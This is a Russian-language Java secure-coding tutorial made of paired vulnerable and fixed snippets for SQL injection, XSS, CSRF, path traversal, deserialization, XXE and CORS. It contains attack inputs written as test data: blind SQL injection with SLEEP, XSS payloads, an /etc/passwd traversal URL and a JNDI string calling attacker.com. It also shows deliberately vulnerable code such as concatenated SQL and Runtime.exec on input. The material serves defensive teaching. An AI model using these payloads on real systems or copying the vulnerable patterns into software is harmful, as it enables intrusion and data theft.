Безопасное программирование в Java и предотвращение уязвимостей (SQL-инъекции, XSS и др.)

String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

String query = "SELECT * FROM audit_log WHERE username = '" + user.getUsername() + "'";

Session session = sessionFactory.openSession();
Query query = session.createQuery("FROM User WHERE username = :username AND password = :password");
query.setParameter("username", username);
query.setParameter("password", password);
List<User> result = query.list();

admin' || (SELECT 1 FROM dual WHERE 1=1) || '

admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) AND '1'='1

// Потенциально уязвимый код с вызовом хранимой процедуры
CallableStatement cs = conn.prepareCall("{call search_users(?)}");
cs.setString(1, userInput); // Если в процедуре используется динамический SQL - проблема
cs.execute();

// Такой код кажется безопасным
String sanitizedInput = input.replaceAll("['\";]", ""); // Удаляем опасные символы
 
// Но если где-то происходит перекодировка без учёта юникода...
byte[] bytes = sanitizedInput.getBytes("latin1");
String decodedInput = new String(bytes, "utf8");
// В decodedInput могут "магически" появиться спецсимволы!

CriteriaBuilder cb = entityManager.getCriteriaBuilder();
CriteriaQuery<User> query = cb.createQuery(User.class);
Root<User> root = query.from(User.class);
 
String rawOrder = request.getParameter("sort"); // Потенциальная инъекция!
Path<Object> orderPath = root.get(rawOrder);
query.orderBy(cb.asc(orderPath));

// Опасный код
String query = "SELECT * FROM products LIMIT " + limit + " OFFSET " + offset;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

// Безопасный код
if (!limit.matches("\\d+") || !offset.matches("\\d+")) {
    throw new IllegalArgumentException("Invalid pagination parameters");
}
String query = "SELECT * FROM products LIMIT " + limit + " OFFSET " + offset;

String json = "{ \"username\": \"" + username + "\", \"password\": \"" + password + "\" }";
Document query = Document.parse(json);
FindIterable<Document> result = collection.find(query);

// Уязвимый код
@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
    model.addAttribute("searchQuery", query);
    // ... логика поиска ...
    return "searchResults";
}

// Уязвимый код сохранения комментария
@PostMapping("/comments")
public String addComment(@RequestParam String comment, @RequestParam Long articleId) {
    commentRepository.save(new Comment(comment, articleId));
    return "redirect:/article/" + articleId;
}

// Валидация с использованием регулярного выражения
if (!userInput.matches("^[a-zA-Z0-9\\s]+$")) {
    throw new IllegalArgumentException("Invalid input format");
}

public class CommentForm {
    @NotNull
    @Pattern(regexp = "^[a-zA-Z0-9\\s.,!?-]+$", message = "Comment contains forbidden characters")
    private String text;
    // ...
}

import org.owasp.encoder.Encode;
 
String safeHtml = Encode.forHtml(userInput);
String safeJavaScript = Encode.forJavaScript(userInput);

@Component
public class SecurityHeadersFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        httpResponse.setHeader("Content-Security-Policy", 
                "default-src 'self'; script-src 'self' https://trusted-cdn.com");
        
        chain.doFilter(request, response);
    }
}

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.headers()
            .contentSecurityPolicy("script-src 'self'");
    }
}

Policy policy = Policy.getInstance(policyFile);
AntiSamy antiSamy = new AntiSamy();
CleanResults cr = antiSamy.scan(dirtyHTML, policy);
String cleanHTML = cr.getCleanHTML();

@RestController
@RequestMapping("/api/comments")
public class CommentController {
    @Autowired
    private CommentService commentService;
    @Autowired
    private SanitizerService sanitizer;
    
    @PostMapping
    public ResponseEntity<Comment> createComment(@RequestBody CommentRequest request) {
        // Валидируем входные данные
        if (!isValidComment(request.getText())) {
            return ResponseEntity.badRequest().build();
        }
        
        // Санитизируем текст перед сохранением
        String cleanText = sanitizer.cleanHtml(request.getText());
        Comment comment = commentService.create(cleanText, request.getAuthorId());
        
        return ResponseEntity.ok(comment);
    }
    
    // Метод для возврата комментариев через API
    @GetMapping
    public List<CommentDto> getComments() {
        // Применяем дополнительную санитизацию при выдаче данных
        return commentService.findAll().stream()
            .map(comment -> new CommentDto(
                comment.getId(),
                sanitizer.cleanHtml(comment.getText()),
                comment.getAuthor().getName()
            ))
            .collect(Collectors.toList());
    }
}

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Bean
    public FilterRegistrationBean<XssEscapeServletFilter> getFilterRegistrationBean() {
        FilterRegistrationBean<XssEscapeServletFilter> registrationBean = new FilterRegistrationBean<>();
        registrationBean.setFilter(new XssEscapeServletFilter());
        registrationBean.setOrder(1);
        registrationBean.addUrlPatterns("/*");
        return registrationBean;
    }
}

PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a", "p", "span", "b", "i", "em", "strong")
    .allowUrlProtocols("https")
    .allowAttributes("href").onElements("a")
    .requireRelNofollowOnLinks()
    .toFactory();
 
String cleanHtml = policy.sanitize(untrustedHtml);

String clean = Jsoup.clean(untrustedHtml, Whitelist.basicWithImages());

Whitelist customWhitelist = Whitelist.none()
    .addTags("p", "b", "i", "em", "strong", "a", "img")
    .addAttributes("a", "href")
    .addAttributes("img", "src", "alt")
    .addProtocols("a", "href", "https")
    .addProtocols("img", "src", "https");
 
String clean = Jsoup.clean(untrustedHtml, customWhitelist);

@Test
public void testXssVulnerabilities() {
    String[] xssPayloads = {
        "<script>alert('XSS')</script>",
        "<img src='x' onerror='alert(1)'>",
        "javascript:alert(1)",
        "<svg onload='alert(1)'>",
        "' onmouseover='alert(1)'",
        // ...и еще десятки других вариантов
    };
    
    for (String payload : xssPayloads) {
        MockHttpServletRequestBuilder request = post("/api/comments")
            .contentType(MediaType.APPLICATION_JSON)
            .content("{\"text\":\"" + payload + "\"}");
            
        mockMvc.perform(request)
               .andExpect(status().is2xxSuccessful());
               
        // Проверяем, что возвращаемое значение не содержит исходной нагрузки
        MvcResult result = mockMvc.perform(get("/api/comments"))
                                  .andExpect(status().isOk())
                                  .andReturn();
                                  
        String content = result.getResponse().getContentAsString();
        assertFalse("XSS payload found in response: " + payload, 
                   content.contains(payload));
    }
}

@Service
public class UserService {
    @Autowired
    private SanitizerService sanitizer;
    @Autowired
    private RecommendationServiceClient recommendationClient;
    
    public UserRecommendationsDto getUserRecommendations(Long userId) {
        // Получаем рекомендации от другого микросервиса
        List<Recommendation> recs = recommendationClient.getForUser(userId);
        
        // Очищаем данные, полученные от другого сервиса
        return new UserRecommendationsDto(
            userId,
            recs.stream()
                .map(rec -> new RecDto(
                    rec.getId(),
                    sanitizer.clean(rec.getTitle()),
                    sanitizer.clean(rec.getDescription())
                ))
                .collect(Collectors.toList())
        );
    }
}

// Генерация токена при создании сессии
@WebListener
public class SessionListener implements HttpSessionListener {
    @Override
    public void sessionCreated(HttpSessionEvent event) {
        HttpSession session = event.getSession();
        SecureRandom random = new SecureRandom();
        byte[] bytes = new byte[32];
        random.nextBytes(bytes);
        String csrfToken = Base64.getEncoder().encodeToString(bytes);
        session.setAttribute("csrfToken", csrfToken);
    }
}
 
// Проверка токена в фильтре
@WebFilter("/*")
public class CsrfFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
            throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        // Пропускаем GET, HEAD, OPTIONS и другие "безопасные" методы
        if (!isSafeMethod(httpRequest.getMethod())) {
            HttpSession session = httpRequest.getSession(false);
            if (session == null) {
                httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid CSRF Token");
                return;
            }
            
            String sessionToken = (String) session.getAttribute("csrfToken");
            String requestToken = httpRequest.getParameter("_csrf");
            
            if (sessionToken == null || !sessionToken.equals(requestToken)) {
                httpResponse.sendError(HttpServletResponse.SC_FORBIDDEN, "Invalid CSRF Token");
                return;
            }
        }
        
        chain.doFilter(request, response);
    }
    
    private boolean isSafeMethod(String method) {
        return "GET".equals(method) || "HEAD".equals(method) || "OPTIONS".equals(method);
    }
}

@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf()  // CSRF защита включена по умолчанию
            // Можно настроить поведение
            .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); 
        
        // Остальная конфигурация...
    }
}

// Уязвимый код
public boolean checkPassword(String input, String stored) {
    return input.equals(stored);  // Время выполнения зависит от входных данных!
}
 
// Безопасный код
public boolean checkPassword(String input, String stored) {
    return MessageDigest.isEqual(
        input.getBytes(StandardCharsets.UTF_8),
        stored.getBytes(StandardCharsets.UTF_8)
    );  // Константное время исполнения
}

import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
 
@Service
public class UserService {
    private final PasswordEncoder passwordEncoder = new BCryptPasswordEncoder();
    
    public boolean authenticate(String username, String password) {
        User user = userRepository.findByUsername(username);
        if (user == null) {
            return false;
        }
        // BCrypt сравнивает с константным временем
        return passwordEncoder.matches(password, user.getPasswordHash());
    }
}

@GetMapping("/download")
public ResponseEntity<Resource> downloadFile(@RequestParam String filename) throws IOException {
    File file = new File("/var/www/uploads/" + filename);
    // ... код для отправки файла ...
}

/download?filename=../../../etc/passwd

@GetMapping("/download")
public ResponseEntity<Resource> downloadFile(@RequestParam String filename) throws IOException {
    // Проверяем имя файла на допустимые символы
    if (!filename.matches("^[a-zA-Z0-9_.-]+$")) {
        throw new IllegalArgumentException("Invalid filename");
    }
    
    // Строим безопасный путь
    Path basePath = Paths.get("/var/www/uploads").toAbsolutePath().normalize();
    Path requestedFile = basePath.resolve(filename).normalize();
    
    // Проверяем, что запрошенный файл находится внутри базового каталога
    if (!requestedFile.startsWith(basePath)) {
        throw new IllegalArgumentException("Access denied");
    }
    
    // ... код для отправки файла ...
}

@Component
public class CspFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        httpResponse.setHeader("Content-Security-Policy",
            "default-src 'self'; " +
            "script-src 'self' https://trusted-cdn.com; " +
            "img-src 'self' data: https:; " +
            "object-src 'none'; " +
            "frame-ancestors 'none'; " +
            "block-all-mixed-content");
        
        chain.doFilter(request, response);
    }
}

@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .headers()
            .contentSecurityPolicy("script-src 'self' https://trusted-cdn.com; object-src 'none'");
    }
}

httpResponse.setHeader("Content-Security-Policy-Report-Only",
    "default-src 'self'; report-uri /csp-report-endpoint");

// Опасный код
try (ObjectInputStream ois = new ObjectInputStream(inputStream)) {
    Object obj = ois.readObject();  // Потенциально опасная операция!
    // ...
}

try (ObjectInputStream ois = new ObjectInputStream(inputStream)) {
    ois.setObjectInputFilter(filterInfo -> {
        Class<?> clazz = filterInfo.serialClass();
        if (clazz != null) {
            // Белый список разрешенных классов
            return (clazz.equals(SafeClass1.class) ||
                    clazz.equals(SafeClass2.class))
                   ? ObjectInputFilter.Status.ALLOWED
                   : ObjectInputFilter.Status.REJECTED;
        }
        // Фильтрация по другим критериям (например, кол-во ссылок)
        return (filterInfo.references() < 1000)
               ? ObjectInputFilter.Status.ALLOWED
               : ObjectInputFilter.Status.REJECTED;
    });
    Object obj = ois.readObject();
    // ...
}

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
 
DocumentBuilder builder = dbf.newDocumentBuilder();
Document document = builder.parse(inputStream);

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/**")
                .allowedOrigins("*")
                .allowedMethods("*")
                .allowedHeaders("*")
                .allowCredentials(true);  // Опасно!
    }
}

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
                .allowedOrigins("https://trusted-app.com", "https://admin.trusted-app.com")
                .allowedMethods("GET", "POST", "PUT", "DELETE")
                .allowedHeaders("Authorization", "Content-Type")
                .exposedHeaders("X-Custom-Header")
                .allowCredentials(true)
                .maxAge(3600);
    }
}

// Этот код SonarQube пометит как уязвимый
public void processData(String input) {
  if (input.startsWith("cmd:")) {
    String command = input.substring(4);
    Runtime.getRuntime().exec(command);  // Command injection vulnerability!
  }
}

// Пример конфигурации OWASP ZAP в Maven
<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>zap-maven-plugin</artifactId>
  <version>1.2.1-0</version>
  <configuration>
    <zapHost>localhost</zapHost>
    <zapPort>8080</zapPort>
    <targetUrl>http://localhost:8090/myapp/</targetUrl>
  </configuration>
  <executions>
    <execution>
      <goals>
        <goal>analyze</goal>
      </goals>
    </execution>
  </executions>
</plugin>

@Test
public void testSqlInjectionPrevention() {
  UserRepository repo = new UserRepositoryImpl();
  // Попытка SQL-инъекции
  List<User> users = repo.findByUsername("' OR '1'='1");
  // Не должно вернуть всех пользователей
  assertEquals(0, users.size());
}

@SpringBootTest
@AutoConfigureMockMvc
public class SecurityIntegrationTest {
  @Autowired
  private MockMvc mockMvc;
  
  @Test
  public void testXssProtection() throws Exception {
    // Внедрение XSS-попытки
    mockMvc.perform(post("/comments")
        .param("text", "<script>alert('XSS')</script>"))
        .andExpect(status().isOk());
    
    // Проверяем, что скрипт не сохранился в неэкранированном виде
    mockMvc.perform(get("/comments"))
        .andExpect(status().isOk())
        .andExpect(content().string(not(containsString("<script>alert('XSS')</script>"))));
  }
}

@ParameterizedTest
@ValueSource(strings = {
  "<script>alert(1)</script>",
  "'; DROP TABLE users; --",
  "${jndi:ldap://attacker.com/malicious}",
  "../../../../etc/passwd",
  "%00../../../etc/passwd"
})
void testPathTraversalProtection(String maliciousInput) {
  FileService service = new FileServiceImpl();
  assertThrows(SecurityException.class, () -> {
      service.readFile(maliciousInput);
  });
}